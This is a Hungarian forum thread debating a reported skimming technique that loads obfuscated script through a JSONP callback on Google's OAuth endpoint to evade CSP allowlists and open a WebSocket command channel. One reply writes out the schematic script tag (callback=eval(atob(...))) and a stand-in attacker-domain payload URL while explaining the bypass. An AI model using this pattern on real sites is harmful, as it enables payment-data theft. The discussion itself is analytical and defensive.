A megbízhatóság fegyvere a Google OAuth vagy még sem?

Fórumok

Sziasztok,

Naponta több tízmillióan kattintunk a "Bejelentkezés Google-fiókkal" gombra, szinte már reflexből, feltételezve, hogy a google.com domain egyet jelent a kikezdhetetlen biztonsággal.

De mi van akkor, ha pont ez a vak bizalom a támadók legújabb és leghatékonyabb fegyvere? A linkelt cikk egy olyan, a valóságban is megfigyelt támadási láncolatot boncolgat, ahol a kiberbűnözők nem egy obskúrus, gyanús domainről, hanem egyenesen a Google egyik hivatalos OAuth végpontjáról (accounts.google.com) töltöttek be rosszindulatú kódot a felhasználók böngészőjébe.  

A módszer pofonegyszerű és épp ezért zseniális: egy JSONP-stílusú callback paramétert fegyverként használva kerülték meg a legtöbb biztonsági szűrőt és a domain-alapú CSP-ket. A végeredmény? Egy rejtett, perzisztens WebSocket csatorna, ami lényegében egy parancs- és vezérlő (C2) szerverként funkcionált a gyanútlan áldozat böngészőjében, készen arra, hogy valós időben lopjon el például bankkártyaadatokat a fizetési oldalakról.  

Ez felvet néhány kényelmetlen kérdést a fejlesztői gyakorlatainkkal kapcsolatban:

  • Elég ma már egy script-src 'self' *.google.com; egy CSP-ben, vagy ezzel csak hamis biztonságérzetet adunk magunknak?
  • Hol húzódik a határ a Google (vagy bármelyik nagy szolgáltató) felelőssége és a webfejlesztő gondossága között az ilyen, legitim szolgáltatásokat láncba fűző támadásoknál?
  • A "living off the land" támadások korában a reputáció-alapú védelem halott? Bízhatunk-e még egyáltalán a domain nevekben?  

A teljes technikai elemzést és a lehetséges védekezési stratégiákat (a szigorú CSP-től a Trusted Types-ig) ebben az elemző cikkben találjátok: https://euroastra.hu/a-megbizhatosag-fegyvere-a-google-oauth-vagy-egy-uj-felhasznalok-elleni-tamadas-lehetosege-tanulmany-a-google-oauthrol/

A TÉMA felvetés  célja, hogy NE egymást "kavicsozva" és "leszólva" hanem szakmailag is a témáról beszéljünk. Az MBH Bank és Google online csalás ügy árnyékában ez a téma SOS aktuálissá érett! 

Hozzászólások

Számomra ez eggyel több ok, hogy visszatérjek a Qubes-OS -re. Ennél jobb védelmet nem ismerek, mert ha nincs kikényszerítve a mocskos webre és a bankolásra használt böngésző teljes izolációja, akkor az ember kényelmességből előbb-utóbb ugyanazt az ablakot fogja rá használni.

Az AI -val megtámogatott hackerek előnyben vannak az exploitok megtalálásában a gyártókhoz képest, mert utóbbiaknak még tesztelniük is kéne, ergo okos ember a hackerekre fogad a bukiknál. Ezért a legjobb védekezés, ha az ember kimarad a versenyből, és teljes koncepciót vált. Ez a Qubes-OS.

Sub a témára és egyúttal kérdezném, hogy a Qubes OS hogyan véd ez ellen a támadás ellen, ha mondjuk ugyanabban a sessionben (tkp ugyanabban a megnyitott böngészőablakban) kattintottam a megmókolt gauth weboldalra és mondjuk egy másik tabon fizetek Gpay-el. (Elvi a kérdés, nálam ugyanis a Gpay és minden más elmentett fizetési mód virtuális kártyával történik, amin jelen pillanatban 800 ft van, szerintem ez adhat egyedül biztonságot.)

“The basic tool for the manipulation of reality is the manipulation of words. If you can control the meaning of words, you can control the people who must use them.”

― Philip K. Dick

Ha ugyanabból az ablakból teszed, akkor nem véd tőle, mert nem az a cél, hogy az ugyanabban az ablakban lévő tevékenységeket válassza el egymástól.

A Qube-OS akkor véd meg ettől, ha külön virtuális gépekből származó ablakokat nyitsz meg. Ennek annyiban aládolgozik, hogy ezt nagyon kényelmesen, egy klikkel tudod elérni. Alapból az ablak keretének a színe mutatja, hogy milyen bizalmi viszonyban vagy az ablak tartalmával. A piros böngészőben mehet a pornhub meg a warez. A kékben a social/fórum életedet éled, itt nincs pénzügyi, de van más érzékeny adat, például a HUP -os jelszavad. A sárgában a webshopok, ahol esetleg tárolsz egy virtuális kártyát, rajta valamennyi pénzzel. A zöld keretű böngésző meg nagyjából csak bankolásra van, ebben a böngészőben sosem nyitsz meg random weboldalt.

Ez bonyolultnak tűnik leírva, de nem az. Használni annyival kényelmetlenebb csupán, hogy egy új, más feladatkörbe tartozó browser tab megnyitás egy Ctrl-T helyett két kattintásba kerül. 

Ebből ami valóban a pénzedet óvja, az a virtuális kártya használata. De onnantól, hogy gpay-el akarsz fizetni a pornóért, a webshop-ban, meg a szerencsejátéknál, azaz be is vagy lépbe mindegyikben (tehát, ahogy bármely user kényelmesen élné a netes életét), onnantól nem látom mit véd ki a virtuális gépes bohóckodás.

De egyébként szerintem kb ugyanezt a védelmi szintet megteszi egy tök alap firefox, konténerkezeléssel. Nálam az egyik konténerben be vagyok lépve a fizetésre képes gpay fiókommal (virtuális kártyát kötve hozzá), abban nem böngészek, nem töltök le, csak arra használom, ha venni akarok valamit, de még bankolni sem abban a kontérben bankolok. Van amelyik konténerben böngészek, van amelyikben különféle google fiókokkal vagyok belépve ahol admin munkát végzek különféle cégeknek. És a konténerek között nincs átjárás cookie és más tárolt adat szintjén sem. És ugye itt is más-más szinű a tab, tehát pontosan látom, hogy melyik konténerben vagyok.

Na de ehhez kell a Google, hogy ne vagy rosszul ellenőrizzen paramétereket azon a végponton, nem?

A fél JSONP Wikipédia oldal ennek a veszélyével van tele és hogy a CORS váltotta valamikor 2009 környékén. :)

Szerkesztve: 2025. 06. 17., k – 11:40

Hülyeség ez a cikk, hiszen azt a kódot, ami a callback paraméterben van, ugyanúgy elhelyezhetted volna a HTML-ben közvetlenül is, felesleges kör a JSONP callback.A cikk többi része meg sima reklám, köszi kedves Kóczián Géza.

Értem én, hogy van egy friss cégetek bejegyezve a UK-be egy székhelyszolgáltatóhoz, de nem a HUP-ot kéne használni önreklámozásra.

Azon gondolkodunk, hogy miért de úgy tűnik azért, mert kell az ilyen is mint Te.

Szakmailag semmi, emberileg dettó: ezért a világban a magyarról egy furkálódó...majd nem leirtam mi még, de 20 év angliai élet után, nehéz megítélni nekünk azt, hogy Te ott miért vagy olyan és amilyen.

Mi is vagy te? Egy keserű alias mögé bújt...

Mivel azonban ez egy szakmai fórum, úgy tegyél már hozzá szakmai magyarázatot ehhez is: https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-webso…

..ha már akkora fene nagy hülyeségeket beszélni-tudóként itt...ráfosol másokra...

 

Kicsit tovább tart megírni a vitatást mint magát a cikket, főleg ha a vitatás nem szakmai hanem sértegetés. ( reagálva arra amiből a kérdésed kiindult) 

Ez egy kiváló és logikus felvetés, és felületesen nézve teljesen jogosnak tűnik. Ha egy támadó már képes kódot injektálni egy weboldal HTML-jébe, miért bonyolítaná túl egy Google-ös végponton keresztüli JSONP hívással, ahelyett, hogy egyszerűen beillesztené a payloadot egy <script> tagbe?

Azonban a helyzet ennél sokkal árnyaltabb, és a támadók pont a modern webes védelmi mechanizmusok kijátszására építettek.

A JSONP callback nem egy felesleges kör volt, hanem a támadás kulcsa, a mesterkulcs, ami több zárat is kinyitott egyszerre.

Nézzük, miért volt ez egy rendkívül ravasz és hatékony lépés:

1. A Tartalombiztonsági Irányelv (Content Security Policy - CSP) kijátszása

Ez a legfontosabb technikai ok. Sok modern weboldal használ CSP-t, hogy korlátozza, milyen forrásokból tölthet be a böngésző szkripteket. Egy tipikus, de gyakran hibásan konfigurált CSP engedélyező listát használ. Például:

Content-Security-Policy: script-src 'self' *.google.com;

Ez az irányelv azt mondja a böngészőnek, hogy csak a saját domainről ('self') és bármely Google aldomainről (*.google.com) tölthet be szkripteket.

Ha a támadó közvetlenül a HTML-be írja a kódot: <script>...rosszindulatú kód...</script> Ezt a fenti CSP blokkolná, mert az inline szkriptek alapértelmezetten tiltva vannak, hacsak nincs 'unsafe-inline' direktíva (ami önmagában is rossz gyakorlat).

Ha a támadó egy saját szerverről hívja a kódot: <script src="https://attacker-domain.com/payload.js"></script> Ezt a fenti CSP blokkolná, mert az attacker-domain.com nincs az engedélyezett források között.

A támadó tényleges módszere: <script src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(...))"></script>
Ezt a fenti CSP átengedi, mert a szkript forrása az accounts.google.com, ami egy megbízhatónak ítélt és engedélyezett domain.
A támadó tehát a Google domainjének reputációját használta pajzsként, hogy a saját kódját egy megbízható csatornán keresztül juttassa be.  

2. Automatikus szkennerek, tűzfalak és DNS-szűrők megtévesztése

Sok vállalati és otthoni biztonsági eszköz (tűzfalak, proxyk, DNS-szolgáltatások) reputáció-alapú szűrést végez.

Egy kérés egy ismeretlen vagy rossz hírű attacker-domain.com felé azonnal gyanút kelt és valószínűleg blokkolásra kerül.

Egy kérés az accounts.google.com felé viszont teljesen legitimnek tűnik. A biztonsági eszközök 99.9%-a ezt a forgalmat jóindulatúnak ítéli és átengedi, mivel a Google egy alapvetően megbízható entitás. A támadó lényegében "átmosta" a rosszindulatú kérését egy megbízható szolgáltatón keresztül.  

3. Az elrejtőzés (obfuszkáció) és a gyanú elkerülése

Egy eval(atob(...)) kifejezés egy callback paraméterben sokkal kevésbé feltűnő egy felületes manuális ellenőrzés során, mint egy nyílt, olvasható rosszindulatú szkript a HTML forrásban. Egy fejlesztő, aki a forráskódot átnézi, láthat egy furcsa API hívást a Google felé, de nem feltétlenül ismeri fel azonnal a benne rejlő veszélyt, ellentétben egy egyértelműen rosszindulatú, inline szkripttel.  

Az a leszólás amiből a kérdésed lett és az ott megfogalmazott felvetés logikus lenne egy olyan környezetben, ahol nincsenek modern védelmi vonalak.

De a valóságban a támadók pontosan ezeknek a védelmi vonalaknak (CSP, reputáció-alapú szűrők) a megkerülésére tervezték a támadást.

A JSONP callback nem egy felesleges kör volt, hanem egy trójai faló. A "ló" maga a megbízható accounts.google.com domainre irányuló kérés volt, amit minden kapuőr (tűzfal, CSP) beengedett.

A "hasában" megbúvó katonák pedig a callback paraméterbe rejtett, kódolt payload volt, ami a falakon belülre jutva már szabadon tudott pusztítani.

Tehát a válaszunk a posztolónak: a cikk nem hülyeség!!! ..de: ha szakmai érvei lennének, bátran vezesse len, szánjon időt a megértésre, magyarázzza el, tegyen szakmai magyarázatot az asztalra! 
Azok után, hogy 2 évtizednél több szakmai tudás húzódik meg mögöttünk a témában, elég lenne "csak" - magyarosz szarkenés helyett- szakmai irányból próbálkozni, mert miközben mi az irodánkban ülünk, addig a fotelhuszár leszólásokból egészen tele lesz a tökünk a magyar-efféle-mentalitásból. 

..és végül, hogy a pont itt legyen arra bizonyos Í-re: 

Pontosan azért nem helyezték el a kódot közvetlenül a HTML-ben, mert azzal azonnal lebuktak volna a legtöbb modern védelmi rendszeren.
Ezzel a módszerrel viszont a támadók a rendszer bizalmát fordították a rendszer ellen, ami egy sokkal kifinomultabb és veszélyesebb stratégia.

Akinek ellenvéleménye van, mert miért ne lehetne, az emberül, szakmai alapon és a személyeskedést mellőzve tegye meg.  

Nem mellékesen meg, akinek van kedve, az egy ilyet hozzon össze ha már "beszólni magyar": https://orcid.org/0000-0003-3207-2087

Ez mind-mind álprobléma. Ha a támadó el tud jutni odáig, hogy módosítja a Google Oauth linket (esetleg ő maga szúrja be), akkor ott már el van veszve minden.

Mert a probléma maga az injektálásnak a képessége - ha tud bármilyen google.com-ra mutató linket módosítani, akkor bármi mást is meg tud csinálni, mert ő sikeresen bent van már a rendszeredben, a TLS csatornába bele tudott szólni anélkül, hogy feltűnne stb.

Ugyanez igaz rá, mint a mindenféle RCE-nél: ha a calc.exe-t el tudja indítani, akkor bármi mást is.

Onnantól kezdve kurva mindegy, hogy mi van a CSP-ben, mert azt a response headert is át tudja írni. Ha meg a fájlrendszerhez van hozzáférése, ami kiszolgálja a weboldalt, akkor még nagyobb a baj, és nem a CSP lesz a probléma meg a WebSocket kapcsolat, amit injektált.

Egy kérés egy ismeretlen vagy rossz hírű attacker-domain.com felé azonnal gyanút kelt és valószínűleg blokkolásra kerül.

De akkor meg nem tökmindegy, hogy mi felé akarna nyitni WebSocketet? Hiszen akkor meg úgyis szűrésre kerül az injektált kód, amikor elkezdene működni. Baromira nem érv ekkor az, hogy hogyan kerül be a rendszerbe az a kód, ami amúgy nem tud semmit sem csinálni.

Még egyszer: aki be tud injektálni ilyen Google OAuth végpontra mutató URL-t a weboldaladba, az közvetlenül be tud injektálni bármilyen más kódot is az oldalba, semmi újdonság nincs itt.

Aki ellátogat egy weboldalra, ahol ez a Google OAuth link van, megkaphatja a WebSocketes scriptet a Google OAuth link nélkül is, egyből a weboldalba ágyazva és obfuszkálva. Álprobléma ez az egész OAuth callback paraméterben problémát látás. 

Azt tudnám elképzelni hogy van egy weboldal amelynél valamiért a javascriptek külön helyről (CDN?) kerülnek kiszolgálásra, és a támadó hozzáfér a HTML kódhoz, de a javascript-ekhez illetve a webszerver konfighoz nem. Igy egyetlen támadási felület a HTML kód lesz, és azon belül kellene ügyeskedni. Nem tudom, én ezt ilyen nagyon esetlegesnek érzem.

A CSide linkhez: az egészből az nem derül ki, ami a lényeg: hogyan került beinjektálásra ez a script tag? Mert abban van a támadás lényegi része, hogy hogyan tudod eljuttatni ezt a script taget a kliensre, mely ponton léptél be a szerver és a kliens közé.

Nem az a lényeg, hogy hogyan működik onnantól kezdve, hogy beinjektálásra került, hanem az, hogy hogyan került a Magento oldalba be a script tag.

Egy exploitnál sem azt kell elemezni, hogy mit csinál, miután bejutott a rendszerbe, hanem azt kell elemezni, hogy hogyan jutott be a rendszerbe. Minden más csak mellébeszélés.

Na de akkor ott a rosszul konfigurált webserver meg a PHBB/Joomla biztonsági rése a probléma, nem az, hogy Google OAuth callback az obfuszkáció módja. Ez utóbbi nem biztonsági rés.

Az a valódi biztonsági probléma, hogy hogyan tudod ezt az obfuszkált kódot berakni a weboldalba, de erről nem esett szó.

Írnak neked egy horgászemailhez hasonló dolgot a Google nevében, hogy "itt és itt tudsz akármit csinálni" (pl kilépni, új eszközről bejelentkezést ellenőrizni, stb.) kattintasz és már ott is vagy ahol a part szakad. Ennek a támadásnak én megértésemben az a "szépsége", hogy nem kell semmit mást csinálni, csak meglátogatni a preparált lapot. Azért eddig az csalós oldalakon valamit kellett még valamit tenni, ahhoz hogy becsússzanak dolgok.

A "mit csinál" elemzése sok szempontból nagyon is fontos, mert a viselkedésre lehet építeni detektálást és az arra hivatott eszközben megfogni - itt pl az adott hálózatba irányuló websocket kapcsolatot -, megakadályozni a működését. Ha már átcsusszant minden máson a csali és volt kedves a user benyelni.

Egy csomó más hasznos infó is kiderülhet ami a kárenyhítéskor, felméréskor vagy a készítő utáni vadászatban hasznos lehet.

:)

Szerk: kicsit a Pegasus sztorira emlékeztet, ahol kvázi elég volt megkapni a WhatsApp-ban az üzit, "máris lehallgattak".

 kattintasz és már ott is vagy ahol a part szakad.

Hát ha tetszőleges weboldalra kattintasz, akkor tök mindegy, hogy az oldalban milyen módon van ott az ártó script. NEM kell ehhez Google OAuth callback JSONP-n keresztül injektálni a kódot. Ha egy random URL-re ellátogatsz, akkor ott bármilyen kód lehet.

Ennek a támadásnak én megértésemben az a "szépsége", hogy nem kell semmit mást csinálni, csak meglátogatni a preparált lapot.

De a támadásnak midnig az a lényege, hogy a lapot hogyan tudod preparálni - abban van a nehézség, hogy egy legitim URL-en lévő lapba helyezz el rosszindulató scriptet, nem az, hogy ha már tudod módosítani a legitim URL-en lévő oldalt, akkor abba milyen módon obfuszkálva rakod el a scriptedet. A lényeg az injektálás lehetősége, ez a valódi probléma, nem az obfuszkáció módja, az álprobléma.

Az, hogy ha maga a preparált lap egy random URL-en van, ott nem nagy dolog berakni bármilyen scriptet, hiszen azt a lapot a támadó kontrollálja. Ő adja meg a Content-Security-Policy headert és minden mást is.

Itt is az a nagy kérdés, és erre persze nem kaptunk választ, hogy a támadó hogyan kontrollálja azt az oldalt, amit a user megtekint és eközben legitim oldal. Ha a támadónak kontrollja van a weboldal felett, akkor meg édesmindegy, hogy milyen formában juttatja el a scriptjét a user böngészője felé és ott milyen módon van az obfuszkálva, eval() mögé téve stb.

És a Pegazusnál is az a lényeg, hogy hogyan kerül a Pegazus az eszközre (milyen biztonsági résen keresztül), nem az, hogy hogyan álcázza magát, miután már bejutott. Az előbbi a biztonsági probléma, nem az utóbbi. Ha bejut és root jogai vannak, akkor már édesmindegy, hogy egyáltalán álcázza-e magát vagy nem, és ha álcázza, akkor hogyan.

A bejelentkezés ilyen-olyan fiókkal csak szerintem oltári nagy hülyeség? Én értem, hogy kényelmes, nade...

pedig sok helyen használják, mert ugye az oauth identity providernek az is lehet a lényege, hogy egy helyen van eltárolva minden jogosultság, és az egyes app csak onnan veszi, hogy mihez férhet hozzé

4 és fél éve csak vim-et használok. elsősorban azért, mert még nem jöttem rá, hogy kell kilépni belőle.

Üzemeltetni tök egyszerű, mert nem kell usert regisztrálnod, csak felírod az email címét és kész. Nekem játszósban van ilyenem, hogy meg akarok mutatni egy barátomnak valami webes izét, akkor felteszem egy oauth mögé és hozzáadom az emil cłmét usernek, és már be is tud lépni.

A cikket nem néztem végig: mit kell tennem userként, hogy meghekkeljenek?